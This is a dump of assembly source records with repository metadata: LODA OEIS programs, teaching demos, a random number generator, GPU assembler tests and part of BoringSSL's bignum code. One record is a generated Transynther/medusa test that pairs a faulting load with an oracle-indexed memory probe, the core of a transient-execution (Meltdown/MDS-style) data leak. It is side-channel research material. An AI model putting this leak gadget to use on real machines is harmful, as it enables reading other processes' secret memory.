hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
6015529cd45f8b9d1e81a8d2f448ec3a12003cee
716
asm
Assembly
oeis/123/A123008.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/123/A123008.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/123/A123008.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A123008: Expansion of x*(1 + 3*x)/(1 - 2*x - 25*x^2). ; Submitted by Jamie Morken(s4.) ; 1,5,35,195,1265,7405,46435,277995,1716865,10383605,63688835,386967795,2366156465,14406507805,87966927235,536096549595,3271366280065,19945146300005,121674449601635,741977556703395,4525816353447665,27601071624480205,168347552085152035,1026721894782309195,6262132591693419265,38192312552944568405,232937939898224618435,1420683693620063446995,8664815884695742354865,52846724109893070884605,322313845337179700640835,1965795793421686173396795,11989437720272864862814465,73123770276087884060548805 mov $3,1 lpb $0 sub $0,$3 mov $1,$4 mul $1,26 add $2,1 add $2,$1 add $4,$2 add $2,3 sub $4,$1 lpe mov $0,$2 add $0,1
39.777778
492
0.800279
244c2f36937e5d4eae955d973fc1c067bd8d8b36
1,177
asm
Assembly
Microprocessor/matrix.asm
Nmane1612/Nihar-Mane
aa4db52a384f706a431c994e4e12d8e5e0cd8402
[ "Apache-2.0" ]
3
2019-12-27T06:07:37.000Z
2020-07-01T08:51:32.000Z
Microprocessor/matrix.asm
Nihar16/Personal-Repository
0d319eeb8dbfa3f7c3eb8501829939ecd6923464
[ "MIT" ]
null
null
null
Microprocessor/matrix.asm
Nihar16/Personal-Repository
0d319eeb8dbfa3f7c3eb8501829939ecd6923464
[ "MIT" ]
null
null
null
; matrix transpose sample (reverse rows with columns). name "matrix" org 100h jmp start ; go to code... msg db "to the view matrix click vars button,", 0dh,0ah db " and set elements property to 3 for these items:", 0dh,0ah, 0ah db " matrix ", 0dh,0ah db " row1 ", 0dh,0ah db " row2 ", 0dh,0ah, 0dh,0ah db "or add print-out support to this program...", 0dh,0ah, '$' matrix_size equ 3 ; ----- matrix ------ matrix db 1,2,3 row1 db 4,5,6 row2 db 7,8,9 ;-------------------- i dw ? j dw ? start: mov i, 0 next_i: ; j = i + 1 mov cx, i inc cx mov j, cx next_j: mov si, i mov bx, j mov al, matrix_size mov cx, si mul cl mov si, ax mov dl, matrix[si][bx] mov si, i mov al, matrix_size mul bl mov bx, ax xchg matrix[bx][si], dl mov bx, j mov al, matrix_size mov cx, si mul cl mov si, ax mov matrix[si][bx], dl inc j cmp j, matrix_size jb next_j inc i cmp i, matrix_size/2 jbe next_i ; print message.... lea dx, msg mov ah, 9 int 21h ; wait for any key press... mov ah, 0 int 16h ret
15.285714
72
0.542056
1b55b67daed1add8e752592d969a80de6be10218
2,072
asm
Assembly
Random.asm
jorgemb/cell-wars-asm
7c82bd98ac1b3d3a21b78c72bc8bdd6f98a67a58
[ "MIT" ]
null
null
null
Random.asm
jorgemb/cell-wars-asm
7c82bd98ac1b3d3a21b78c72bc8bdd6f98a67a58
[ "MIT" ]
null
null
null
Random.asm
jorgemb/cell-wars-asm
7c82bd98ac1b3d3a21b78c72bc8bdd6f98a67a58
[ "MIT" ]
null
null
null
; ------------------------------------------------------- ; ; Random number generator. ; Based on source code found in: ; http://www.daniweb.com/software-development/assembly/ ; threads/292225/random-number-generating-in-assembly# ; ------------------------------------------------------- ; ; ---------------------------------------- ; ; Random number between 0 and 65535 ; @return [AX]: Random value ; ---------------------------------------- ; RANDOM PROC NEAR ; Lehmer linear congruential random number generator ; z= (a*z+b) mod m = (31*z+13)%19683 ; Rules for a, b, m by D. Knuth: ; 1. b and m must be relatively prime ; 2. a-1 must be divisible without remainder by all prime factors of m (19683 = 3^9), (31-1)%3=0 ; 3. if m is divisible by 4, a-1 must also be divisible by 4, 19683%4 != 0, ok ; 4. if conditions 1 to 3 met, period of {z1, z2, z3,...} is m-1 = 19682 (Donald says) .DATA RANDOM_SEED DW 0ABBAH RANDOM_ANT DW 0ABBAH .CODE ; save used registers push dx push bx mov ax, RANDOM_SEED ; set new initial value z mov dx, 0 mov bx, 001FH ; 31D mul bx ; 31 * z ; result dx:ax, higher value in dx, lower value in ax add ax, 000DH ; +13 ;mov bx, 4CE3H ; 19683D mov bx, 0E6A9H ; 59049D div bx ; div by 19683D ; result ax:dx, quotient in ax, remainder in dx (this is the rnz) mov RANDOM_SEED, dx mov ax, dx ; restore used registers pop bx pop dx ret RANDOM ENDP ; -------------------------------------------------------- ; ; Returns random value in the range [-r, r] ; @param [WORD]: Range (r) ; @return [AX]: Random value ; -------------------------------------------------------- ; RANDOM_RANGE PROC NEAR ; Stack preparation PUSH BP MOV BP, SP PUSH CX PUSH DX CALL RANDOM ; Restrict value to range [0, 2r] MOV DX, 0 MOV CX, [BP+4] ; Range SHL CX, 1 INC CX DIV CX ; Residue is substracted to the range so it becomes [-r, r] MOV CX, [BP+4] ; Range SUB DX, CX MOV AX, DX ; Stack restore POP DX POP CX POP BP RET RANDOM_RANGE ENDP
24.093023
100
0.546332
27e377d97d451a58b14ebda61e461bed4d08aaf3
158
asm
Assembly
src/intel/tools/tests/gen7.5/f32to16.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen7.5/f32to16.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen7.5/f32to16.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
f32to16(8) g21<2>W g22<8,8,1>F { align1 1Q }; f32to16(16) g40<2>W g42<8,8,1>F { align1 1H };
52.666667
78
0.360759
82266f60734577abaf5f6c054486eecf65e01922
448
asm
Assembly
7-assets/past-student-repos/LambdaSchool-master/m7/73a1/asm/call.asm
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/73a1/asm/call.asm
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/07_computer_architecture/asm/call.asm
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
2
2018-08-24T02:35:10.000Z
2018-08-24T03:04:51.000Z
; Demonstrate calls ; ; Expected output: ; 20 ; 30 ; 36 ; 60 ; MAIN LDI R1,Mult2Print ; Load R1 with the subroutine address ; multiply a bunch of numbers by 2 and print them LDI R0,10 CALL R1 LDI R0,15 CALL R1 LDI R0,18 CALL R1 LDI R0,30 CALL R1 HLT ; Mult2Print ; ; Multiply a number in R0 by 2 and print it out Mult2Print: ADD R0,R0 ; or fake it by adding it to itself PRN R0 RET
12.8
60
0.616071
9b03bf84c5a6e922fba8f0458dfe53182d8c0bfc
5,417
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6228_981.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6228_981.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_6228_981.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_D_ht+0x1240, %r11 nop xor %r15, %r15 movb (%r11), %r14b nop nop nop nop add %r13, %r13 lea addresses_A_ht+0xac00, %rsi nop nop nop add %r14, %r14 mov $0x6162636465666768, %r8 movq %r8, %xmm0 and $0xffffffffffffffc0, %rsi movaps %xmm0, (%rsi) nop and $34084, %r13 lea addresses_UC_ht+0x11a1c, %rsi and $42266, %r8 mov (%rsi), %r15w nop nop nop nop nop and %r8, %r8 lea addresses_UC_ht+0x3ac0, %rsi lea addresses_WT_ht+0x7ec0, %rdi clflush (%rsi) nop nop nop nop and %r11, %r11 mov $100, %rcx rep movsw nop nop nop nop nop inc %r8 lea addresses_UC_ht+0x1e950, %r13 nop cmp $62937, %r14 mov (%r13), %r15d dec %r11 lea addresses_UC_ht+0x10281, %r13 nop nop sub %rdi, %rdi movl $0x61626364, (%r13) nop nop nop nop and %r8, %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %rbp push %rbx push %rcx // Faulty Load lea addresses_PSE+0x1a6c0, %r11 nop nop nop nop nop cmp $62062, %rbp vmovups (%r11), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r8 lea oracles, %rcx and $0xff, %r8 shlq $12, %r8 mov (%rcx,%r8,1), %r8 pop %rcx pop %rbx pop %rbp pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'33': 6228} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
41.992248
2,999
0.659221
7e974c4b80defe39098c4f6b541064b9459e359c
481
asm
Assembly
oeis/125/A125234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/125/A125234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/125/A125234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A125234: Triangle T(n,k) read by rows: the k-th column contains the k-fold iterated partial sum of A000566. ; Submitted by Christian Krause ; 1,7,1,18,8,1,34,26,9,1,55,60,35,10,1,81,115,95,45,11,1,112,196,210,140,56,12,1,148,308,406,350,196,68,13,1,189,456,714,756,546,264,81,14,1,235,645,1170,1470,1302,810,345,95,15,1,286,880,1815,2640,2772,2112,1155,440 mov $1,1 lpb $0 add $2,1 sub $0,$2 add $1,1 lpe add $0,2 bin $1,$0 mul $1,4 add $2,2 bin $2,$0 add $2,$1 mov $0,$2
26.722222
216
0.671518
04420a999a54a66f0bd616b56ec1c36e71a8c3e7
22,420
asm
Assembly
third_party/boringssl/win-x86/crypto/bn/bn-586.asm
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
5
2015-04-30T00:13:21.000Z
2019-07-10T02:17:24.000Z
third_party/boringssl/win-x86/crypto/bn/bn-586.asm
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
null
null
null
third_party/boringssl/win-x86/crypto/bn/bn-586.asm
domenic/mojo
53dda76fed90a47c35ed6e06baf833a0d44495b8
[ "BSD-3-Clause" ]
5
2016-12-23T04:21:10.000Z
2020-06-18T13:52:33.000Z
%ifidn __OUTPUT_FORMAT__,obj section code use32 class=code align=64 %elifidn __OUTPUT_FORMAT__,win32 %ifdef __YASM_VERSION_ID__ %if __YASM_VERSION_ID__ < 01010000h %error yasm version 1.1.0 or later needed. %endif ; Yasm automatically includes .00 and complains about redefining it. ; https://www.tortall.net/projects/yasm/manual/html/objfmt-win32-safeseh.html %else $@feat.00 equ 1 %endif section .text code align=64 %else section .text code %endif global _bn_mul_add_words align 16 _bn_mul_add_words: L$_bn_mul_add_words_begin: push ebp push ebx push esi push edi ; xor esi,esi mov edi,DWORD [20+esp] mov ecx,DWORD [28+esp] mov ebx,DWORD [24+esp] and ecx,4294967288 mov ebp,DWORD [32+esp] push ecx jz NEAR L$000maw_finish align 16 L$001maw_loop: ; Round 0 mov eax,DWORD [ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [edi] adc edx,0 mov DWORD [edi],eax mov esi,edx ; Round 4 mov eax,DWORD [4+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [4+edi] adc edx,0 mov DWORD [4+edi],eax mov esi,edx ; Round 8 mov eax,DWORD [8+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [8+edi] adc edx,0 mov DWORD [8+edi],eax mov esi,edx ; Round 12 mov eax,DWORD [12+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [12+edi] adc edx,0 mov DWORD [12+edi],eax mov esi,edx ; Round 16 mov eax,DWORD [16+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [16+edi] adc edx,0 mov DWORD [16+edi],eax mov esi,edx ; Round 20 mov eax,DWORD [20+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [20+edi] adc edx,0 mov DWORD [20+edi],eax mov esi,edx ; Round 24 mov eax,DWORD [24+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [24+edi] adc edx,0 mov DWORD [24+edi],eax mov esi,edx ; Round 28 mov eax,DWORD [28+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [28+edi] adc edx,0 mov DWORD [28+edi],eax mov esi,edx ; sub ecx,8 lea ebx,[32+ebx] lea edi,[32+edi] jnz NEAR L$001maw_loop L$000maw_finish: mov ecx,DWORD [32+esp] and ecx,7 jnz NEAR L$002maw_finish2 jmp NEAR L$003maw_end L$002maw_finish2: ; Tail Round 0 mov eax,DWORD [ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [edi] adc edx,0 dec ecx mov DWORD [edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 1 mov eax,DWORD [4+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [4+edi] adc edx,0 dec ecx mov DWORD [4+edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 2 mov eax,DWORD [8+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [8+edi] adc edx,0 dec ecx mov DWORD [8+edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 3 mov eax,DWORD [12+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [12+edi] adc edx,0 dec ecx mov DWORD [12+edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 4 mov eax,DWORD [16+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [16+edi] adc edx,0 dec ecx mov DWORD [16+edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 5 mov eax,DWORD [20+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [20+edi] adc edx,0 dec ecx mov DWORD [20+edi],eax mov esi,edx jz NEAR L$003maw_end ; Tail Round 6 mov eax,DWORD [24+ebx] mul ebp add eax,esi adc edx,0 add eax,DWORD [24+edi] adc edx,0 mov DWORD [24+edi],eax mov esi,edx L$003maw_end: mov eax,esi pop ecx pop edi pop esi pop ebx pop ebp ret global _bn_mul_words align 16 _bn_mul_words: L$_bn_mul_words_begin: push ebp push ebx push esi push edi ; xor esi,esi mov edi,DWORD [20+esp] mov ebx,DWORD [24+esp] mov ebp,DWORD [28+esp] mov ecx,DWORD [32+esp] and ebp,4294967288 jz NEAR L$004mw_finish L$005mw_loop: ; Round 0 mov eax,DWORD [ebx] mul ecx add eax,esi adc edx,0 mov DWORD [edi],eax mov esi,edx ; Round 4 mov eax,DWORD [4+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [4+edi],eax mov esi,edx ; Round 8 mov eax,DWORD [8+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [8+edi],eax mov esi,edx ; Round 12 mov eax,DWORD [12+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [12+edi],eax mov esi,edx ; Round 16 mov eax,DWORD [16+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [16+edi],eax mov esi,edx ; Round 20 mov eax,DWORD [20+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [20+edi],eax mov esi,edx ; Round 24 mov eax,DWORD [24+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [24+edi],eax mov esi,edx ; Round 28 mov eax,DWORD [28+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [28+edi],eax mov esi,edx ; add ebx,32 add edi,32 sub ebp,8 jz NEAR L$004mw_finish jmp NEAR L$005mw_loop L$004mw_finish: mov ebp,DWORD [28+esp] and ebp,7 jnz NEAR L$006mw_finish2 jmp NEAR L$007mw_end L$006mw_finish2: ; Tail Round 0 mov eax,DWORD [ebx] mul ecx add eax,esi adc edx,0 mov DWORD [edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 1 mov eax,DWORD [4+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [4+edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 2 mov eax,DWORD [8+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [8+edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 3 mov eax,DWORD [12+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [12+edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 4 mov eax,DWORD [16+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [16+edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 5 mov eax,DWORD [20+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [20+edi],eax mov esi,edx dec ebp jz NEAR L$007mw_end ; Tail Round 6 mov eax,DWORD [24+ebx] mul ecx add eax,esi adc edx,0 mov DWORD [24+edi],eax mov esi,edx L$007mw_end: mov eax,esi pop edi pop esi pop ebx pop ebp ret global _bn_sqr_words align 16 _bn_sqr_words: L$_bn_sqr_words_begin: push ebp push ebx push esi push edi ; mov esi,DWORD [20+esp] mov edi,DWORD [24+esp] mov ebx,DWORD [28+esp] and ebx,4294967288 jz NEAR L$008sw_finish L$009sw_loop: ; Round 0 mov eax,DWORD [edi] mul eax mov DWORD [esi],eax mov DWORD [4+esi],edx ; Round 4 mov eax,DWORD [4+edi] mul eax mov DWORD [8+esi],eax mov DWORD [12+esi],edx ; Round 8 mov eax,DWORD [8+edi] mul eax mov DWORD [16+esi],eax mov DWORD [20+esi],edx ; Round 12 mov eax,DWORD [12+edi] mul eax mov DWORD [24+esi],eax mov DWORD [28+esi],edx ; Round 16 mov eax,DWORD [16+edi] mul eax mov DWORD [32+esi],eax mov DWORD [36+esi],edx ; Round 20 mov eax,DWORD [20+edi] mul eax mov DWORD [40+esi],eax mov DWORD [44+esi],edx ; Round 24 mov eax,DWORD [24+edi] mul eax mov DWORD [48+esi],eax mov DWORD [52+esi],edx ; Round 28 mov eax,DWORD [28+edi] mul eax mov DWORD [56+esi],eax mov DWORD [60+esi],edx ; add edi,32 add esi,64 sub ebx,8 jnz NEAR L$009sw_loop L$008sw_finish: mov ebx,DWORD [28+esp] and ebx,7 jz NEAR L$010sw_end ; Tail Round 0 mov eax,DWORD [edi] mul eax mov DWORD [esi],eax dec ebx mov DWORD [4+esi],edx jz NEAR L$010sw_end ; Tail Round 1 mov eax,DWORD [4+edi] mul eax mov DWORD [8+esi],eax dec ebx mov DWORD [12+esi],edx jz NEAR L$010sw_end ; Tail Round 2 mov eax,DWORD [8+edi] mul eax mov DWORD [16+esi],eax dec ebx mov DWORD [20+esi],edx jz NEAR L$010sw_end ; Tail Round 3 mov eax,DWORD [12+edi] mul eax mov DWORD [24+esi],eax dec ebx mov DWORD [28+esi],edx jz NEAR L$010sw_end ; Tail Round 4 mov eax,DWORD [16+edi] mul eax mov DWORD [32+esi],eax dec ebx mov DWORD [36+esi],edx jz NEAR L$010sw_end ; Tail Round 5 mov eax,DWORD [20+edi] mul eax mov DWORD [40+esi],eax dec ebx mov DWORD [44+esi],edx jz NEAR L$010sw_end ; Tail Round 6 mov eax,DWORD [24+edi] mul eax mov DWORD [48+esi],eax mov DWORD [52+esi],edx L$010sw_end: pop edi pop esi pop ebx pop ebp ret global _bn_div_words align 16 _bn_div_words: L$_bn_div_words_begin: mov edx,DWORD [4+esp] mov eax,DWORD [8+esp] mov ecx,DWORD [12+esp] div ecx ret global _bn_add_words align 16 _bn_add_words: L$_bn_add_words_begin: push ebp push ebx push esi push edi ; mov ebx,DWORD [20+esp] mov esi,DWORD [24+esp] mov edi,DWORD [28+esp] mov ebp,DWORD [32+esp] xor eax,eax and ebp,4294967288 jz NEAR L$011aw_finish L$012aw_loop: ; Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [ebx],ecx ; Round 1 mov ecx,DWORD [4+esi] mov edx,DWORD [4+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [4+ebx],ecx ; Round 2 mov ecx,DWORD [8+esi] mov edx,DWORD [8+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [8+ebx],ecx ; Round 3 mov ecx,DWORD [12+esi] mov edx,DWORD [12+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [12+ebx],ecx ; Round 4 mov ecx,DWORD [16+esi] mov edx,DWORD [16+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [16+ebx],ecx ; Round 5 mov ecx,DWORD [20+esi] mov edx,DWORD [20+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [20+ebx],ecx ; Round 6 mov ecx,DWORD [24+esi] mov edx,DWORD [24+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [24+ebx],ecx ; Round 7 mov ecx,DWORD [28+esi] mov edx,DWORD [28+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 mov DWORD [28+ebx],ecx ; add esi,32 add edi,32 add ebx,32 sub ebp,8 jnz NEAR L$012aw_loop L$011aw_finish: mov ebp,DWORD [32+esp] and ebp,7 jz NEAR L$013aw_end ; Tail Round 0 mov ecx,DWORD [esi] mov edx,DWORD [edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec ebp mov DWORD [ebx],ecx jz NEAR L$013aw_end ; Tail Round 1 mov ecx,DWORD [4+esi] mov edx,DWORD [4+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec ebp mov DWORD [4+ebx],ecx jz NEAR L$013aw_end ; Tail Round 2 mov ecx,DWORD [8+esi] mov edx,DWORD [8+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec ebp mov DWORD [8+ebx],ecx jz NEAR L$013aw_end ; Tail Round 3 mov ecx,DWORD [12+esi] mov edx,DWORD [12+edi] add ecx,eax mov eax,0 adc eax,eax add ecx,edx adc eax,0 dec 